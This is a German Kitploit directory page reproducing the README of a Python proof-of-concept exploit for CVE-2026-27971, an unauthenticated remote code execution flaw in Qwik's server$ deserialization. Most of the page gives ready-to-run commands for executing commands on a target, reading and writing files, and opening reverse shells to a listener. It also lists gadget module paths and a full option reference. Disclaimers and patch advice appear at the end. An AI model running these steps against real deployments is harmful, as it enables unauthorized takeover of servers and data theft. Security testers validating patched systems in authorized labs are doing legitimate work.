Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-27971_POC — CVE-2026-27971 qwik rce | Kitploit
Tools/GitHubGitHub/ghalendar/cve-2026-27971_poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlRed TeamingRemote-Access-ToolPayload-Entwicklung
GitHubghalendar/cve-2026-27971_poc

CVE-2026-27971_POC

CVE-2026-27971 qwik rce

Repository anzeigen
5vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-27971 — Qwik server$ Nicht authentifizierter RCE-PoC

[!WARNING] Dieses Repository enthält einen aktiven Proof-of-Concept für Remote-Code-Ausführung. Verwenden Sie ihn nur gegen Systeme, die Ihnen gehören oder für deren Test Sie ausdrücklich autorisiert sind. Der Autor übernimmt keine Verantwortung für unbefugte Nutzung oder Schäden.

Ein eigenständiger Python-Proof-of-Concept für CVE-2026-27971 / GHSA-p9x5-jp3h-96mm, eine nicht authentifizierte Remote-Code-Ausführungs-Schwachstelle im Qwik server$ RPC-Deserialisierungsmechanismus.

Der PoC kann eine aktive Marker-Probe durchführen, Befehle ausführen, Textdateien lesen oder schreiben und eine Reverse Shell auf Linux- oder Windows-Zielen anfordern. Es verwendet nur die Python-Standardbibliothek.

Zusammenfassung der Schwachstelle

Tool herunterladen
FeldWert
ProduktQwik — npm-Paket @builder.io/qwik
Betroffene Versionen<= 1.19.0
Patch-Version1.19.1
SchwachstelleNicht authentifizierte Remote-Code-Ausführung durch unsichere server$-Deserialisierung
Laufzeitbedingungrequire() muss zur Laufzeit verfügbar sein
CWECWE-502 — Deserialization of Untrusted Data
SchweregradKritisch — CVSS 4.0: 9.2
VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Eine manipulierte application/qwik-json-Anfrage kann auf ein serverseitiges Modul und ein exportiertes Symbol verweisen. Anfällige Qwik-Versionen können eine nicht registrierte QRL durch Laufzeit-require() auflösen und ohne Authentifizierung aufrufen. Dieser PoC versucht, ein kompatibles Export für die Prozessausführung zu erreichen, das bereits im node_modules des Ziels vorhanden ist.

Voraussetzungen

Betreiber:

  • Python 3.
  • Netzwerkzugriff auf die genaue Qwik-Route, die die server$/Qwik-JSON-Anfrage verarbeitet.
  • Ein vom Ziel erreichbarer Listener beim Testen der Reverse-Shell-Funktionalität.

Ziel:

  • Ein anfälliges Qwik-Deployment mit @builder.io/qwik <= 1.19.0.
  • Eine Laufzeit, in der require() verfügbar ist.
  • Ein kompatibles Gadget-Modul und Export, auf das in node_modules zugegriffen werden kann.
  • node im PATH des Dienstprozesses verfügbar.
  • Ausreichende Berechtigungen des Dienstkontos für die angeforderte Befehls- oder Dateioperation.

Es werden keine Python-Pakete von Drittanbietern benötigt.

Schnellstart

root@kitploit:~
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help

Listet die eingebauten Gadgets ohne Senden einer Anfrage auf:

root@kitploit:~
python3 exploit_combat.py --list-gadgets

Führen Sie eine aktive Marker-Probe durch und testen Sie jedes eingebaute Gadget:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe

[!IMPORTANT] --probe ist keine passive Versionserkennung. Es versucht eine Remote-Code-Ausführung und bestätigt sie durch Ausgabe eines Markers aus dem Zielprozess.

Anwendungsbeispiele

Führen Sie einen Befehl aus:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"

Lesen Sie eine UTF-8-Textdatei:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json

Schreiben und überprüfen Sie eine UTF-8-Textdatei:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"

Fordern Sie eine Reverse-Shell an, nachdem Sie einen persistenten Listener gestartet haben:

root@kitploit:~
nc -lvnp 4444
root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback

Erzwingen Sie das Windows-Reverse-Shell-Payload, wenn die automatische OS-Erkennung ungeeignet ist:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444

Das Skript startet keinen Listener. Der --callback-Vorprüf öffnet und schließt eine separate TCP-Verbindung, bevor das Shell-Payload gesendet wird, verwenden Sie daher einen Listener, der mehr als eine Verbindung akzeptieren kann.

CLI-Referenz

OptionBeschreibung
-t URL, --target URLExakte Ziel-URL. Standard: http://localhost:3000. Die Route wird nicht automatisch ermittelt.
--probeFührt aktiv ein Marker-Payload aus und versucht eine Betriebssystemerkennung.
-c CMD, --CMD CMDFührt einen Befehl über Node.js child_process.execSync() aus.
--read PATHLiest eine UTF-8-Textdatei mit fs.readFileSync().
--write PATH --content TEXTSchreibt eine Textdatei, liest sie zurück und vergleicht das Ergebnis. Übergeordnete Verzeichnisse werden nicht erstellt.
--list-gadgetsGibt die Namen der eingebauten Gadgets aus und beendet ohne Netzwerkanfrage.
--lhost IPAktiviert den Reverse-Shell-Modus und setzt die Callback-Adresse.
--lport PORTSetzt den Callback-Port. Standard: 4444.
--rev-allSendet jede Reverse-Shell-Variante anstatt nach der ersten akzeptierten HTTP-Anfrage zu stoppen.
--callbackTestet die ausgehende TCP-Erreichbarkeit vor dem Senden eines Reverse-Shell-Payloads.
--OS {auto,linux,windows}Wählt die Reverse-Shell-Payload-Familie aus. Standard: auto.
--gadget SPECVerwenden Sie auto, einen eingebauten Namen oder ein benutzerdefiniertes <module>#<symbol>. Standard: cross-spawn.sync.
--arg-style {argv,command,shell}Argumentstil für ein benutzerdefiniertes <module>#<symbol>-Gadget.
--timeout SECONDSClient-seitiger HTTP-Timeout. Standard: 30.
--verify-sslAktiviert die TLS-Zertifikats- und Hostnamen-Überprüfung. Die Überprüfung ist standardmäßig deaktiviert.

Die Aktionsmodi schließen sich im Parser nicht gegenseitig aus. Verwenden Sie pro Aufruf einen von --probe, --CMD, --read, --write oder --lhost.

Eingebaute Gadgets

NameModul und ExportStyle
cross-spawn.sync./node_modules/cross-spawn/index#syncargv
cross-spawn.index-js./node_modules/cross-spawn/index.js#syncargv
execa.sync./node_modules/execa/index#syncargv
execa.index-js.sync./node_modules/execa/index.js#syncargv
execa.commandSync./node_modules/execa/index#commandSynccommand
execa.index-js.commandSync./node_modules/execa/index.js#commandSynccommand
node-cmd.runSync./node_modules/node-cmd/cmd#runSyncshell
node-cmd.cmd-js.runSync./node_modules/node-cmd/cmd.js#runSyncshell

--gadget auto testet diese Gadgets in der aufgeführten Reihenfolge. Ein benutzerdefiniertes Gadget kann wie folgt angegeben werden:

root@kitploit:~
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe

Wichtige Einschränkungen

  • Ein negativer Probe ist kein Beweis dafür, dass das Ziel gepatcht ist. Es kann auf eine falsche Route, ein fehlendes oder inkompatibles Gadget, einen Netzwerk-/TLS-Fehler, Filterung oder ein anderes Deployment-Layout hinweisen.
  • Das Standard-Gadget ist cross-spawn.sync, keine automatische Erkennung. Verwenden Sie --gadget auto, wenn das Abhängigkeitslayout des Ziels unbekannt ist.
  • Das Tool hat keine Optionen für Cookies, Autorisierungsheader, Proxys oder beliebige benutzerdefinierte Header.
  • Dateioperationen sind textorientiert. --read erwartet UTF-8, und --write ist nicht für binäre Daten vorgesehen.
  • Relative Pfade werden aus dem Arbeitsverzeichnis des Qwik-Prozesses aufgelöst. Alle Operationen werden mit den Berechtigungen des Qwik-Dienstkontos ausgeführt.
  • Reverse-Shell-Erfolgsmeldungen zeigen an, dass die Exploit-HTTP-Anfrage akzeptiert wurde; sie beweisen nicht, dass ein Callback empfangen wurde.
  • --rev-all kann mehrere Prozesse oder Callbacks auf dem Ziel starten. Verwenden Sie es nur in einer isolierten Laborumgebung.
  • Prozess-Exit-Codes spiegeln hauptsächlich die Probe- und Transportverarbeitung wider, nicht den Exit-Status des entfernten Befehls oder das Vorhandensein einer funktionierenden Shell.
  • Das Tool identifiziert nicht die installierte Qwik-Version und sollte nicht als Ersatz für das Abhängigkeitsinventar verwendet werden.

Behebung

Aktualisieren Sie @builder.io/qwik auf 1.19.1 oder höher, aktualisieren Sie die Lockfile, bauen Sie die Anwendung neu und stellen Sie alle Serverartefakte erneut bereit. Das alleinige Entfernen eines kompatiblen Gadgets ist keine vollständige Behebung der zugrunde liegenden Qwik-Schwachstelle.

Referenzen

  • Qwik-Sicherheitshinweis — GHSA-p9x5-jp3h-96mm
  • GitHub-Advisory-Datenbank — CVE-2026-27971
  • Gepatchte Qwik 1.19.1-Version
  • Upstream-Fix-Commit
  • CVE-Eintrag
  • NVD-Eintrag

Rechtlicher Hinweis

Dieses Projekt wird für Sicherheitsforschung, defensive Validierung und autorisierte Tests bereitgestellt. Verwenden Sie es nicht gegen Systeme ohne ausdrückliche Genehmigung.